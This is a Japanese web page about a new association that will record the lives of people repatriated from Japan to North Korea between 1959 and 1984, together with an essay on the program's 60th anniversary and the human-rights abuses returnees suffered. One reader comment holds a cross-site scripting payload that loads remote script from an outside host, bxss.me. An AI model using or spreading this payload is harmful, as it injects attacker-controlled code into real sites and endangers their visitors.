【News111】「北朝鮮帰国者」の記憶を記録する会 発足 みなさんの支援、ご協力を

1959年12月14日、新潟港から北朝鮮への帰還第一船が出港した。それから25年間にわたって行われた。

「帰還事業」は、日本国籍者6,730人を含む約93,000人を北朝鮮に運んだ。

 この93,000人がいったいどのような「生」を送ったのか?それは在日朝鮮人、日本人配偶者の歴史にしっかりと記録されるべき重大な事柄だと思われるが、詳細な記録はなく、今もそのページは空白のままです。

 第1船が出てから今年で60年になる。帰還者の多くが今や高齢で、すでに亡くなられた方もおり、どのように生きたのか記録するために残された時間も多くない。

 現在、脱北して日本に戻った帰還者はおよそ200人。関東に約150人、大阪に約50人が住んでいる。韓国には、約400人の元在日朝鮮人の帰還者が脱北後に定住していると思われる。この中には帰還後に北朝鮮で生まれた人、脱北後に日本、中国で生まれた人も含まれている。

 北朝鮮難民救援基金は、「生きざま」を記録するためのプロジェクトに参加、協力することにした。そして、この活動組織は非営利、非政治、協同での調査、学術研究をする一般社団法人 「北朝鮮帰国者」の記憶を記録する会として発足された。活動は2021年末を目標に、聞き取り調査と取材を重ね、記録集「在日帰国者は北朝鮮でどう生きたか」の刊行を目ざしている。

そのためには、大阪、東京、韓国を中心に聞き取り、取材やテープ起こし、編集の作業におよそ800万円の活動予算を見込んでいる。

会は、記憶を聞き取り、歴史として記録するために多くの皆さんの支援と協力が必要だと会員、賛助会員、支援金、寄付金を募っている。資料・問い合わせ先は、以下の通り。

 

一般社団法人 「北朝鮮帰国者」の記憶を記録する会 

 

HP:http://www.kikokusya.org 

E-mail:1959@kikokusya.org 

Tel:06-6373-2444

 

事務局長 石丸次郎

 

北朝鮮帰国事業60周年を迎えて  佐伯浩明

 今年の2019年12月14日で在日朝鮮人の北朝鮮帰国事業は60周年を迎える。1959年12月14日に、帰国第1次船が多数の帰国者同胞を乗せて新潟港を出港し、北朝鮮の清津港に向かった。在日北朝鮮帰国者総数は、1984年7月25日の帰国事業終了までの25年間に、総計9万3339人(うち日本人は6839人、うち日本人妻は1867人)に上った。

帰国者が味わった悲劇は、帰国者自身の手紙と、在日商工人の関貴星さんの著書『楽園の夢破れて―北朝鮮の真相』(全貌社)や、金元祚さんの『「凍土の共和国」―北朝鮮幻滅紀行』(亜紀書房)に詳しい。1960年代初めから70年代にかけて、帰国者は、北朝鮮の宣伝と現実とのあまりの落差に絶望し、発狂者、自殺者、収容所送りの悲劇が相次いだ。関さんが「残酷非人間的社会体制」と書いた北朝鮮の実体は、半世紀後の2014年2月に公表された国連人権理事会の『北朝鮮人権調査報告書』で、全貌が明るみに出た。①食料統制、②封建的身分差別社会、③密告制度、④強制収容所・公開銃殺に象徴される拷問・弾圧制度―などだ。

北朝鮮の人々には、居住の自由も、移動・出国の自由もない。言論、集会、結社の自由もない。60年経った今も伝わる帰国者の願望の多くは「日本への帰国」であり「里帰り」や「自由往来」への飢渇である。日本人妻は「遺体は日本に向けて葬って欲しい」と遺言を残している。これ以上、帰国者同胞の願望を無視していいはずが無い。

北朝鮮は「人権解放」の要求を全て跳ね返してきたが、わずかに希望の光が射した。金正恩朝鮮労働党委員長が解放ではないが、改革路線に乗り出したことだ。取調べ段階での拷問の禁止の指示が出たという情報がある他、正恩氏は今年1月1日の「新年の辞」で、経済建設路線をうたった。

私たち北朝鮮の「人権解放」を目指す団体は、相協力して「北朝鮮の人権解放」を世界に訴え、政府機関や政党にもその実現を働きかけて、「北朝鮮に囚われている全ての拉致被害者の救出、帰国者の日本への帰国、里帰りや自由往来の実現を目指し」行動しよう。

コメントをお書きください

コメント: 3
  • #1

    e (木曜日, 16 5月 2019 14:21)

    97Pko0BA

  • #2

    e (木曜日, 16 5月 2019 14:21)

    </script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=059663&r=88-49&h=88-fdbe0-2&/).slice(2),document.documentElement.appendChild(s))//'>

  • #3

    e (木曜日, 16 5月 2019 14:22)

    1

メーリングリストのご案内 北朝鮮難民支援基金では団体の活動や北朝鮮関連の情報をお知らせする、メーリングリストを作成しています。北朝鮮・脱北者に関するニュース・調査結果だけでなく、イベントのお知らせやボランティアの募集もメーリングリストを通して行なっています。ご登録を希望される方は「お問い合わせ」から「種別」の項目にある「メーリングリストへの登録」にチェックを入れて、ご連絡をください。 お問い合わせ